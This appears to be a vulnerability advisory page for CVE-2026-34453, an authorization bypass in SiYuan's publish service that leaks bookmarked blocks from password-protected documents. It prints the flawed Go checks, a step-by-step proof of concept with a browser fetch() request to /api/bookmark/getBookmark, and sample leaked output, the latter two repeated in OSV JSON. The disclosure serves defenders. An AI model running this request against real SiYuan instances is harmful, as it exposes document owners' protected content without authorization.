CVE-2026-34453: SiYuan Unauthenticated Access To Password-Protected Bookmarks Vulnerability

HIGH
Advisory Identifier: GHSA-c77m-r996-jr3q
CVSS 7.5
CWE-863
Published
Advisory Summary

CVE-2026-34453 is a HIGH (CVSS 7.5) unauthenticated access to password-protected bookmarks vulnerability (CWE-863: Incorrect Authorization) affecting SiYuan libraries in the Go ecosystem. The issue involves unauthenticated access to password-protected bookmarks via /api/bookmark/getbookmark. Remediation is available by upgrading affected packages to version 3.6.2.

CVE-2026-34453 at a Glance

CVE Identifier CVE-2026-34453
GHSA Identifier GHSA-c77m-r996-jr3q
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-863: Incorrect Authorization
Affected Product SiYuan
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-34453

To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 3.6.2
Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34453, inspect your project dependencies for SiYuan:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked. ### Details The issue is caused by an authorization bypass in the bookmark API path used by the publish service. In `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context: ```go if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() tempBookmarks := &model.Bookmarks{} for _, bookmark := range *bookmarks { bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks) ``` In `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`: ```go if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } ``` This bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content. The publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path. I reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass. ### PoC 1. Start SiYuan with the publish service enabled. 2. Create a new document, for example publish-bookmark-poc. 3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123. 4. Open the block attributes and assign a bookmark label, for example leak-test. 5. In Doc Tree, enable Publish Access Control and set the document to Protected. 6. Set a password for that document, for example test123, and confirm the change. 7. Open the publish service in a fresh incognito/private browser session. 8. Verify that opening the protected document through the publish UI requires the password. 9. Without entering the password, open the browser developer console and run: ```js fetch("/api/bookmark/getBookmark", { method: "POST", headers: { "Content-Type": "application/json" }, body: "{}" }) .then(r => r.json()) .then(x => console.log(JSON.stringify(x, null, 2))); ``` 10. Observe that the response contains a bookmark entry such as: ```json { "code": 0, "msg": "", "data": [ { "name": "leak-test", "blocks": [ { "box": "20260327012540-ppsxc5j", "path": "/20260327012543-acu1mdn.sy", "hPath": "/publish-bookmark-poc", "id": "20260327012543-1y6djn1", "rootID": "20260327012543-acu1mdn", "parentID": "20260327012543-acu1mdn", "name": "", "alias": "", "memo": "", "tag": "", "content": "​<span data-type=\"code\">​BOOKMARK_SECRET_123</span>​", "fcontent": "", "markdown": "`BOOKMARK_SECRET_123`", "folded": false, "type": "NodeParagraph", "subType": "", "refText": "", "refs": null, "defID": "", "defPath": "", "ial": { "bookmark": "leak-test", "id": "20260327012543-1y6djn1", "updated": "20260327013116" }, "children": null, "depth": 1, "count": 0, "refCount": 0, "sort": 10, "created": "", "updated": "", "riffCardID": "", "riffCard": null } ], "type": "bookmark", "depth": 0, "count": 1 } ] } ``` Actual result: `/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password. ### Impact An unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.

CVE-2026-34453 Affected SiYuan Versions

1 component(s)
Fixed Versions:
3.6.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 3.6.2
3.6.2

References

Frequently Asked Questions

What is CVE-2026-34453?
CVE-2026-34453 is a security vulnerability in SiYuan involving Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark under CWE-863: Incorrect Authorization.
Which SiYuan versions are affected?
Affected versions include releases prior to 3.6.2 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-34453?
Upgrading to 3.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 3.6.2. Upgrade your dependency to 3.6.2 or later.
What is the CVSS score of CVE-2026-34453?
CVE-2026-34453 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-34453?
CVE-2026-34453 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-34453?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c77m-r996-jr3q",
  "modified" : "2026-04-06T16:40:12Z",
  "published" : "2026-03-31T23:30:03Z",
  "aliases" : [ "CVE-2026-34453" ],
  "summary" : "SiYuan: Unauthenticated Access to Password-Protected Bookmarks via /api/bookmark/getBookmark",
  "details" : "### Summary\nThe publish service exposes bookmarked blocks from password-protected documents to unauthenticated visitors. In publish/read-only mode, `/api/bookmark/getBookmark` filters bookmark results by calling `FilterBlocksByPublishAccess(nil, ...)`. Because the filter treats a `nil` context as authorized, it skips the publish password check and returns bookmarked blocks from documents configured as `Protected`. As a result, anyone who can access the publish service can retrieve content from protected documents without providing the required password, as long as at least one block in the document is bookmarked.\n\n### Details\nThe issue is caused by an authorization bypass in the bookmark API path used by the publish service.\n\nIn `kernel/api/bookmark.go`, `getBookmark` checks whether the current request is in a read-only role and then filters bookmarks for publish access. However, it passes `nil` as the request context:\n```go\nif model.IsReadOnlyRoleContext(c) {\n    publishAccess := model.GetPublishAccess()\n    tempBookmarks := &model.Bookmarks{}\n    for _, bookmark := range *bookmarks {\n        bookmark.Blocks = model.FilterBlocksByPublishAccess(nil, publishAccess, bookmark.Blocks)\n```\nIn `kernel/model/publish_access.go`, `FilterBlocksByPublishAccess` allows access when `c == nil`:\n```go\nif CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) &&\n   (c == nil || password == \"\" || CheckPublishAuthCookie(c, passwordID, password)) {\n    ret = append(ret, block)\n}\n```\nThis bypasses the intended password enforcement performed by `CheckPublishAuthCookie`, which validates the `publish-auth-<id>` cookie for protected content.\n\nThe publish proxy authenticates anonymous publish visitors with a `RoleReader` token, and `CheckAuth` accepts `RoleReader`, so unauthenticated publish visitors can reach `/api/bookmark/getBookmark` and trigger the vulnerable code path.\n\nI reproduced this by creating a protected document, bookmarking a block inside it, opening the publish service in an incognito session without entering the document password, and sending a `POST /api/bookmark/getBookmark` request. The response returned a bookmark group containing the protected block in `data[0].blocks`, confirming the bypass.\n\n### PoC\n\n1. Start SiYuan with the publish service enabled.\n2. Create a new document, for example publish-bookmark-poc.\n3. Add a block containing identifiable content, for example BOOKMARK_SECRET_123.\n4. Open the block attributes and assign a bookmark label, for example leak-test.\n5. In Doc Tree, enable Publish Access Control and set the document to Protected.\n6. Set a password for that document, for example test123, and confirm the change.\n7. Open the publish service in a fresh incognito/private browser session.\n8. Verify that opening the protected document through the publish UI requires the password.\n9. Without entering the password, open the browser developer console and run:\n```js\nfetch(\"/api/bookmark/getBookmark\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: \"{}\"\n})\n  .then(r => r.json())\n  .then(x => console.log(JSON.stringify(x, null, 2)));\n```\n10. Observe that the response contains a bookmark entry such as:\n```json\n{\n  \"code\": 0,\n  \"msg\": \"\",\n  \"data\": [\n    {\n      \"name\": \"leak-test\",\n      \"blocks\": [\n        {\n          \"box\": \"20260327012540-ppsxc5j\",\n          \"path\": \"/20260327012543-acu1mdn.sy\",\n          \"hPath\": \"/publish-bookmark-poc\",\n          \"id\": \"20260327012543-1y6djn1\",\n          \"rootID\": \"20260327012543-acu1mdn\",\n          \"parentID\": \"20260327012543-acu1mdn\",\n          \"name\": \"\",\n          \"alias\": \"\",\n          \"memo\": \"\",\n          \"tag\": \"\",\n          \"content\": \"​<span data-type=\\\"code\\\">​BOOKMARK_SECRET_123</span>​\",\n          \"fcontent\": \"\",\n          \"markdown\": \"`BOOKMARK_SECRET_123`\",\n          \"folded\": false,\n          \"type\": \"NodeParagraph\",\n          \"subType\": \"\",\n          \"refText\": \"\",\n          \"refs\": null,\n          \"defID\": \"\",\n          \"defPath\": \"\",\n          \"ial\": {\n            \"bookmark\": \"leak-test\",\n            \"id\": \"20260327012543-1y6djn1\",\n            \"updated\": \"20260327013116\"\n          },\n          \"children\": null,\n          \"depth\": 1,\n          \"count\": 0,\n          \"refCount\": 0,\n          \"sort\": 10,\n          \"created\": \"\",\n          \"updated\": \"\",\n          \"riffCardID\": \"\",\n          \"riffCard\": null\n        }\n      ],\n      \"type\": \"bookmark\",\n      \"depth\": 0,\n      \"count\": 1\n    }\n  ]\n}\n```\nActual result:\n`/api/bookmark/getBookmark` returns bookmarked blocks from protected documents without requiring the publish password.\n\n### Impact\nAn unauthenticated attacker who can access the publish service can read bookmarked content from documents configured as password-protected. This breaks the confidentiality guarantee of the `Protected` publish access level. The impact is limited to blocks that have been bookmarked, but the leakage is direct, requires no user interaction, and does not require knowledge of the document password.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c77m-r996-jr3q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34453"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/issues/17246"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:30:03Z",
    "nvd_published_at" : "2026-03-31T22:16:20Z"
  }
}